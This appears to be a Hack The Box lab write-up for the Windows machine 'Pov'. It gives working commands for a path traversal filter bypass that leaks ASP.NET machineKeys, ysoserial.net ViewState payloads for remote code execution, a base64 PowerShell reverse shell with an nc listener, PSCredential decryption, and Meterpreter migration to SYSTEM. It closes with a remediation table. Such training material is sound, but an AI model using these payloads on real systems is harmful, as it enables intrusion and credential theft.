HTB Pov: ASP.NET ViewState Deserialization and SeDebugPrivilege Abuse
Introduction
Pov is a Medium-difficulty Windows machine that chains four distinct attack primitives: web reconnaissance to discover a hidden subdomain, a path traversal vulnerability that leaks sensitive application secrets, .NET deserialization for remote code execution, and Windows privilege abuse via SeDebugPrivilege.
What makes Pov particularly educational is that each step is realistic — the vulnerabilities mimic patterns found in real production IIS deployments. By the end you will understand how a single misconfigured file download endpoint can cascade all the way to full system compromise.
Skills reinforced: subdomain enumeration, LFI filter bypass, ASP.NET ViewState exploitation, PowerShell credential decryption, and Windows token/process privilege abuse.
Attack Overview
Nmap → Port 80 (IIS 10.0) → pov.htb
↓
FFUF subdomain fuzzing → dev.pov.htb
↓
LFI: POST /portfolio/default.aspx (file param) → bypass ....// → web.config
↓
machineKey leak (AES decryptionKey + SHA1 validationKey)
↓
ysoserial.net → forged __VIEWSTATE → RCE → shell as sfitz
↓
C:\users\sfitz\Documents\connection.xml → PSCredential → alaading:f8gQ8fynP44ek1m3
↓
SeDebugPrivilege (Enabled in WinRM context via portfwd)
↓
Meterpreter migrate → winlogon.exe (SYSTEM) → nt authority\system
Reconnaissance
Port Scan
A fast port scan confirms a single exposed service — port 80 running Microsoft IIS.
nmap -sC -sV -p 80 10.129.230.183
| Port | Service | Version |
|---|---|---|
| 80 | HTTP | Microsoft IIS httpd 10.0 |
Key observations from the Nmap output:
- IIS 10.0 → Windows Server 2016 or 2019
- ASP.NET 4.0.30319 detected in response headers (X-Powered-By)
- TRACE method enabled — rarely useful for exploitation here, but worth noting as a misconfiguration
- Hostname
pov.htbrevealed in the HTTP response
Add the hostname to your hosts file:
echo "10.129.230.183 pov.htb" | sudo tee -a /etc/hosts
Web Enumeration
Main Site — pov.htb
The main site is a generic business landing page. The most interesting element is the Contact Us section which mentions:
- Email:
sfitz@pov.htb— potential usernamesfitz - A reference to
dev.pov.htbas a developer portfolio
Subdomain Fuzzing
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-H "Host: FUZZ.pov.htb" \
-u http://pov.htb \
-fc 302 -mc all
dev returns a 302 redirect — a live subdomain. Add it to your hosts file:
sudo sed -i 's/pov.htb/pov.htb dev.pov.htb/' /etc/hosts
dev.pov.htb — Portfolio
dev.pov.htb shows a developer portfolio for Stephen Fitz. The site highlights ASP.NET development expertise and offers a Download CV button — a file download feature, which is always worth examining.
Fingerprinting with Nuclei confirms:
- IIS/10.0 server
- ASP.NET 4.0.30319 runtime
- TRACE method enabled
LFI / Path Traversal
Intercepting the Download Request
Clicking “Download CV” sends a POST request to /portfolio/default.aspx with a file parameter specifying the file to serve:
POST /portfolio/ HTTP/1.1
Host: dev.pov.htb
Content-Type: application/x-www-form-urlencoded
__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=...&file=cv.pdf
The server uses Response.TransmitFile() to serve the file — this .NET method sends a file directly from disk to the client. The question is: does it validate the path?
Identifying the Filter
Testing a naive path traversal ../web.config returns a redirect with filename=web.config in the Content-Disposition header. The file that comes back is actually cv.pdf — the ../ was stripped, but the filename landed at the wrong level. This reveals a single-pass regex filter:
// Server-side (reconstructed)
filePath = Regex.Replace(filePath, "../", "");
This is a classic non-recursive filter. It removes the first occurrence of ../ but doesn’t loop, so if you embed ../ inside a longer traversal sequence, the inner ../ survives.
Bypass — Double-Encoded Traversal
The bypass is ....//:
....// → after removing one "../" → ../
So ....//web.config becomes ../web.config after the filter runs — which is exactly what we want.
Modify the file parameter in Burp Repeater:
file=....//web.config
The server responds with HTTP/1.1 200 OK and returns the contents of web.config.
Confirming Absolute Path Read
The filter bypass also allows reading arbitrary files using absolute Windows paths. Testing:
file=C:\Windows\win.ini
Returns the win.ini file — confirming unrestricted file read via TransmitFile(). The function accepts any path the IIS worker process can access.
Extracting the web.config — machineKey Leak
Requesting the application’s own config file:
file=....//web.config
The response contains the full web.config, including the <machineKey> element:
<machineKey
decryption="AES"
decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
validation="SHA1"
validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
/>
This is a critical leak. The machineKey is the secret used to sign and encrypt the ASP.NET ViewState — the hidden field sent on every postback request. Knowing it means we can forge a valid __VIEWSTATE payload that the server will trust and deserialize.
ASP.NET ViewState Deserialization (RCE)
What is ViewState?
ASP.NET WebForms use a mechanism called ViewState to persist UI state across HTTP requests. On every page load, the server serializes page state into a hidden form field (__VIEWSTATE), sends it to the browser, and when the form is submitted, the browser sends it back. The server deserializes this field to reconstruct state.
When machineKey is configured, the ViewState is both encrypted (AES) and MAC-signed (SHA1) using these keys. The server trusts the ViewState completely — if the signature validates, it deserializes the content without further checks.
The attack: with the machineKey in hand, we can craft a __VIEWSTATE containing a malicious .NET deserialization gadget. The server decrypts and verifies it (because we have the correct keys), then deserializes it — executing arbitrary code.
Setting Up ysoserial.net
ysoserial.net is the standard tool for .NET deserialization gadget generation. It runs natively on Windows; on Linux, use Wine with .NET 4.8:
sudo apt install mono-complete wine winetricks -y
winetricks dotnet48
# Download latest release from GitHub and unzip
wine ysoserial.exe --help
Verifying Parameters — VIEWSTATEGENERATOR
Before generating the exploit payload, verify the __VIEWSTATEGENERATOR value. This 8-character hex value depends on the application path and must match what the server expects. Use --islegacy --isdebug to print it:
wine ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "ping -n 1 10.10.14.165" \
--path="/portfolio" --apppath="/" \
--validationalg="SHA1" \
--validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" \
--decryptionalg="AES" \
--decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" \
--islegacy --isdebug
Output includes:
Calculated __VIEWSTATEGENERATOR (ignored): 8E0F0FA3
Compare this to the __VIEWSTATEGENERATOR value captured in the intercepted request — they match (8E0F0FA3). Parameters are correct.
Set up a listener to catch the ICMP ping:
sudo tcpdump -i tun0 icmp
Generate the payload, paste it into the __VIEWSTATE parameter in Burp Repeater, and send. If you see ICMP packets arriving, RCE is confirmed.
Getting a Reverse Shell
Generate a PowerShell reverse shell payload (e.g. PowerShell #3 Base64 from revshells.com with your tun0 IP). Then:
# Start a listener
rlwrap nc -lvnp 4444
# Generate the payload (strip newlines with tr before using)
wine ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -e <BASE64_PAYLOAD>" \
--path="/portfolio" --apppath="/" \
--validationalg="SHA1" \
--validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" \
--decryptionalg="AES" \
--decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" \
--islegacy | tr -d '\n'
Paste the output into the __VIEWSTATE field in Burp Repeater and send the POST to /portfolio/. The listener receives a shell:
PS C:\windows\system32\inetsrv> whoami
pov\sfitz
Lateral Movement
Discovering connection.xml
Exploring sfitz’s home directory:
tree C:\users\sfitz /F
Under C:\users\sfitz\Documents\ there is a file called connection.xml. Reading it:
type C:\users\sfitz\Documents\connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<Props>
<S N="UserName">alaading</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb...</SS>
</Props>
</Obj>
</Objs>
This is a PowerShell PSCredential — a serialized credential object. The password is encrypted using the Windows Data Protection API (DPAPI), which ties the encryption key to the current user’s Windows login session. Since we are running as sfitz, we can decrypt it directly.
Decrypting with Import-Clixml
$cred = Import-Clixml -Path 'C:\Users\sfitz\Documents\connection.xml'
$cred.GetNetworkCredential().Password
Output:
f8gQ8fynP44ek1m3
Credentials recovered: alaading : f8gQ8fynP44ek1m3
Pivoting to alaading
WinRM (port 5985) is listening but only on localhost — it is not reachable from the attacker machine directly. Use Invoke-Command from the current shell to run commands as alaading:
$secPass = ConvertTo-SecureString "f8gQ8fynP44ek1m3" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("pov\alaading", $secPass)
Invoke-Command -ComputerName pov -Credential $cred -ScriptBlock { whoami /priv }
This confirms SeDebugPrivilege is assigned to alaading. To get a persistent shell, use Invoke-Command to send a reverse shell back:
Invoke-Command -ComputerName pov -Credential $cred -ScriptBlock {
powershell -e <BASE64_REVERSE_SHELL>
}
User flag is at C:\users\alaading\desktop\user.txt.
Privilege Escalation
SeDebugPrivilege — Understanding the Primitive
Running whoami /priv as alaading:
Privilege Name Description State
============================= ============================== ========
SeDebugPrivilege Debug programs Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeDebugPrivilege is assigned but shows as Disabled. On Windows, a privilege can be assigned to a user/token yet not active in the current process. The state depends on the logon type and the process that spawned the shell.
A shell spawned via RCE (like our reverse shell or Meterpreter session) may not activate all token privileges. A WinRM session (interactive network logon) activates the full privilege set for that token.
Enabling the Privilege via WinRM
WinRM (port 5985) is only reachable locally. Use Meterpreter’s port forwarding to tunnel it to the attacker machine:
meterpreter > portfwd add -l 5985 -p 5985 -r 127.0.0.1
meterpreter > portfwd list
This maps attacker:5985 → target:127.0.0.1:5985. Now connect via evil-winrm:
evil-winrm -i 127.0.0.1 -u alaading -p "f8gQ8fynP44ek1m3"
Check privileges in this new session:
*Evil-WinRM* PS> whoami /priv
Privilege Name Description State
============================= ============================== =======
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeDebugPrivilege is now Enabled. This is the access we need.
Why SeDebugPrivilege Leads to SYSTEM
SeDebugPrivilege grants the ability to open any process with PROCESS_ALL_ACCESS — regardless of the process owner’s security descriptor. This means we can open a process running as NT AUTHORITY\SYSTEM and inject into it.
Target: winlogon.exe — the Windows Logon Application. It runs in user session 1 as SYSTEM, making it an ideal migration target.
Identify the PID:
Get-Process winlogon
# or from Meterpreter:
ps | grep winlogon
Migrating into winlogon — SYSTEM
From a Meterpreter session established via the portfwd context (which inherits the WinRM token with SeDebugPrivilege enabled):
meterpreter > migrate <winlogon_PID>
[*] Migrating from <current_pid> to <winlogon_PID>...
[*] Migration completed successfully.
meterpreter > shell
C:\Windows\system32> whoami
nt authority\system
The migration succeeds because SeDebugPrivilege is active in our token, allowing us to open winlogon.exe with full access and inject our Meterpreter stage into its process space.
Root flag is at C:\Users\Administrator\Desktop\root.txt.
Flags
User flag : [redacted]
Root flag : [redacted]
Key Takeaways
| Vulnerability | Root Cause | Remediation |
|---|---|---|
| Path Traversal (LFI) | Single-pass regex strips ../ once — non-recursive filter trivially bypassed with ....// | Use a whitelist of allowed filenames; never build file paths from user input; use Path.GetFullPath() and validate it starts within the allowed directory |
| machineKey exposed via LFI | web.config is in the web root and readable by the IIS worker process; the LFI has no scope restriction | Restrict file read to a specific safe directory (e.g. a downloads/ folder); store machineKey outside the web root; rotate keys if exposed |
| ViewState Deserialization RCE | ASP.NET deserializes ViewState unconditionally once the MAC signature validates; with a known machineKey an attacker can forge any payload | Use requireSSL, rotate machineKey regularly, consider EnableViewStateMac disabled if ViewState isn’t needed; upgrade to .NET 4.5+ with ViewStateUserKey |
| PSCredential stored on disk | A credential was serialized with Export-Clixml and left accessible to other users | Never store credentials on disk; use a secrets manager or Windows Credential Manager with ACLs scoped to the owning account only |
| SeDebugPrivilege leads to SYSTEM | Assigned privilege is enough to migrate into SYSTEM processes via WinRM session | Apply principle of least privilege; audit who holds SeDebugPrivilege (default: only Administrators); restrict WinRM access; monitor for cross-process injection events |
Resources
- ysoserial.net — .NET deserialization payload generator
- ViewState exploitation — NCC Group — deep dive into the attack
- evil-winrm — WinRM pentesting shell
- MSDN — SeDebugPrivilege — Windows privilege constants reference
- PSCredential DPAPI — Export-Clixml / Import-Clixml and DPAPI binding
- Nmap — Port scanning and service detection
- ffuf — Fast web fuzzer for subdomain and directory enumeration